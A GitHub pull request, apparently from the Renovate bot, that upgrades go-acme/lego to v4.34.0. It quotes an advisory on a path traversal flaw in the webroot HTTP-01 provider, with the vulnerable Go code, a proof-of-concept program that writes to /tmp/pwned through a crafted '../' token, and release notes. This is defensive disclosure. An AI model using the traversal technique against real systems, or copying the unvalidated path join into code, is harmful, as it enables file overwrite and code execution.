Skip to content

Update module github.com/go-acme/lego/v4 to v4.34.0 [SECURITY]#72

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/go-github.com-go-acme-lego-v4-vulnerability
Open

Update module github.com/go-acme/lego/v4 to v4.34.0 [SECURITY]#72
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/go-github.com-go-acme-lego-v4-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Apr 16, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
github.com/go-acme/lego/v4 v4.31.0v4.34.0 age confidence

ACME Lego: Arbitrary File Write via Path Traversal in Webroot HTTP-01 Provider

CVE-2026-40611 / GHSA-qqx8-2xmm-jrv8

More information

Details

Summary

The webroot HTTP-01 challenge provider in lego is vulnerable to arbitrary file write and deletion via path traversal. A malicious ACME server can supply a crafted challenge token containing ../ sequences, causing lego to write attacker-influenced content to any path writable by the lego process.

Details

The ChallengePath() function in challenge/http01/http_challenge.go:26-27 constructs the challenge file path by directly concatenating the ACME token without any validation:

func ChallengePath(token string) string {
	return "/.well-known/acme-challenge/" + token
}

The webroot provider in providers/http/webroot/webroot.go:31 then joins this with the configured webroot directory and writes the key authorization content to the resulting path:

challengeFilePath := filepath.Join(w.path, http01.ChallengePath(token))
err = os.MkdirAll(filepath.Dir(challengeFilePath), 0o755)
err = os.WriteFile(challengeFilePath, []byte(keyAuth), 0o644)

RFC 8555 Section 8.3 specifies that ACME tokens must only contain characters from the base64url alphabet ([A-Za-z0-9_-]), but this constraint is never enforced anywhere in the codebase. When a malicious ACME server returns a token such as ../../../../../../tmp/evil, filepath.Join() resolves the .. components, producing a path outside the webroot directory.

The same vulnerability exists in the CleanUp() function at providers/http/webroot/webroot.go:48, which deletes the challenge file using the same unsanitized path:

err := os.Remove(filepath.Join(w.path, http01.ChallengePath(token)))

This additionally enables arbitrary file deletion.

PoC

In a real attack scenario, the victim uses --server to point lego at a malicious ACME server, combined with --http.webroot:

lego --server https://malicious-acme.example.com \
     --http --http.webroot /var/www/html \
     --email user@example.com \
     --domains example.com \
     run

The malicious server returns a challenge token containing path traversal sequences ../../../../../../tmp/pwned. lego's webroot provider writes the key authorization to the traversed path without validation, resulting in arbitrary file write outside the webroot.

The following minimal Go program demonstrates the core vulnerability by directly calling the webroot provider with a crafted token:

package main

import (
	"fmt"
	"os"

	"github.com/go-acme/lego/v4/providers/http/webroot"
)

func main() {
	webrootDir, _ := os.MkdirTemp("", "lego-webroot-*")
	defer os.RemoveAll(webrootDir)

	provider, _ := webroot.NewHTTPProvider(webrootDir)
	token := "../../../../../../../../../../tmp/pwned"
	provider.Present("example.com", token, "EXPLOITED-BY-PATH-TRAVERSAL")

	data, err := os.ReadFile("/tmp/pwned")
	if err == nil {
		fmt.Println("[+] VULNERABILITY CONFIRMED")
		fmt.Printf("[+] File written outside webroot: /tmp/pwned\n")
		fmt.Printf("[+] Content: %s\n", data)
	}
}
go build -o exploit ./exploit.go && ./exploit

Expected output:

[+] VULNERABILITY CONFIRMED
[+] File written outside webroot: /tmp/pwned
[+] Content: EXPLOITED-BY-PATH-TRAVERSAL
Impact

This is a path traversal vulnerability (CWE-22). Any user running lego with the HTTP-01 challenge solver against a malicious or compromised ACME server is affected.

A malicious ACME server can:

  • Achieve remote code execution by writing to cron directories, systemd unit paths, shell profiles, or web application directories served by the webroot.
  • Destroy data by overwriting configuration files, TLS certificates, or application state.
  • Escalate privileges if lego runs as root, granting unrestricted filesystem write access.
  • Delete arbitrary files via the CleanUp() code path using the same unsanitized token.

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

go-acme/lego (github.com/go-acme/lego/v4)

v4.34.0

Compare Source

  • Release date: 2026-04-15
  • Tag: v4.34.0
Added
  • [dnsprovider] Add DNS provider for UCloud
  • [dnsprovider] Add DNS provider for online.net
  • [dnsprovider] Add DNS provider for 1cloud.ru
  • [dnsprovider] Add DNS provider for Netnod
  • [dnsprovider] oraclecloud: support profile session token
  • [dnsprovider] rfc2136: add RFC3645 (TSIG-GSS) support
Changed
  • [dnsprovider] rfc2136: add dnsupdate as alias
Fixed
  • [httpprovider] Check base64url token

v4.33.0

Compare Source

  • Release date: 2026-03-19
  • Tag: v4.33.0
Added
  • [dnsprovider] Add DNS provider for Excedo
  • [dnsprovider] Add DNS provider for EuroDNS
  • [dnsprovider] Add DNS provider for Czechia
Changed
  • [lib] feat: allow to Unwrap obtainError
Fixed
  • [dnsprovider] liara: add support for team ID
  • [dnsprovider] gigahostno: remove unused Zone fields

v4.32.0

Compare Source

  • Release date: 2026-02-19
  • Tag: v4.32.0
Added
  • [dnsprovider] Add DNS provider for ArtFiles
  • [dnsprovider] Add DNS provider for Leaseweb
  • [dnsprovider] Add DNS provider for FusionLayer NameSurfer
  • [dnsprovider] Add DNS provider for DDNSS
  • [dnsprovider] Add DNS provider for Bluecat v2
  • [dnsprovider] Add DNS provider for TodayNIC/时代互联
  • [dnsprovider] Add DNS provider for DNSExit
  • [dnsprovider] alidns: add line record option
Changed
  • [dnsprovider] azure: reinforces deprecation
  • [dnsprovider] allinkl: detect zone through API
Fixed
  • [ari] fix: implement parsing for Retry-After header according to RFC 7231
  • [dnsprovider] namesurfer: fix updateDNSHost
  • [dnsprovider] timewebcloud: fix subdomain support
  • [dnsprovider] fix: deduplicate authz for DNS01 challenge
  • [lib,cli] fix: use IPs to define the main domain
  • [lib] fix: preserve domain order

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate

renovate Bot commented Apr 16, 2026

Copy link
Copy Markdown
Contributor Author

ℹ️ Artifact update notice

File name: go.mod

In order to perform the update(s) described in the table above, Renovate ran the go get command, which resulted in the following additional change(s):

  • 20 additional dependencies were updated

Details:

Package Change
github.com/aws/smithy-go v1.24.0 -> v1.24.2
github.com/go-jose/go-jose/v4 v4.1.3 -> v4.1.4
github.com/hashicorp/go-version v1.8.0 -> v1.9.0
github.com/mattn/go-isatty v0.0.20 -> v0.0.21
go.opentelemetry.io/otel v1.40.0 -> v1.43.0
go.opentelemetry.io/otel/metric v1.40.0 -> v1.43.0
go.opentelemetry.io/otel/trace v1.40.0 -> v1.43.0
golang.org/x/crypto v0.48.0 -> v0.50.0
golang.org/x/mod v0.33.0 -> v0.35.0
golang.org/x/sync v0.19.0 -> v0.20.0
golang.org/x/tools v0.42.0 -> v0.44.0
google.golang.org/genproto/googleapis/api v0.0.0-20260209200024-4cfbd4190f57 -> v0.0.0-20260319201613-d00831a3d3e7
google.golang.org/genproto/googleapis/rpc v0.0.0-20260209200024-4cfbd4190f57 -> v0.0.0-20260401024825-9d38bb4040a9
google.golang.org/grpc v1.79.0 -> v1.80.0
golang.org/x/net v0.50.0 -> v0.53.0
golang.org/x/oauth2 v0.35.0 -> v0.36.0
golang.org/x/sys v0.41.0 -> v0.43.0
golang.org/x/term v0.40.0 -> v0.42.0
golang.org/x/text v0.34.0 -> v0.36.0
golang.org/x/time v0.14.0 -> v0.15.0

@renovate renovate Bot force-pushed the renovate/go-github.com-go-acme-lego-v4-vulnerability branch from bc1315d to b41283a Compare April 24, 2026 22:35
@renovate renovate Bot changed the title Update module github.com/go-acme/lego/v4 to v4.34.0 [SECURITY] Update module github.com/go-acme/lego/v4 to v4.34.0 [SECURITY] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot deleted the renovate/go-github.com-go-acme-lego-v4-vulnerability branch April 27, 2026 18:15
@renovate renovate Bot changed the title Update module github.com/go-acme/lego/v4 to v4.34.0 [SECURITY] - autoclosed Update module github.com/go-acme/lego/v4 to v4.34.0 [SECURITY] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate renovate Bot force-pushed the renovate/go-github.com-go-acme-lego-v4-vulnerability branch 2 times, most recently from b41283a to 3af9d81 Compare April 27, 2026 21:12
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants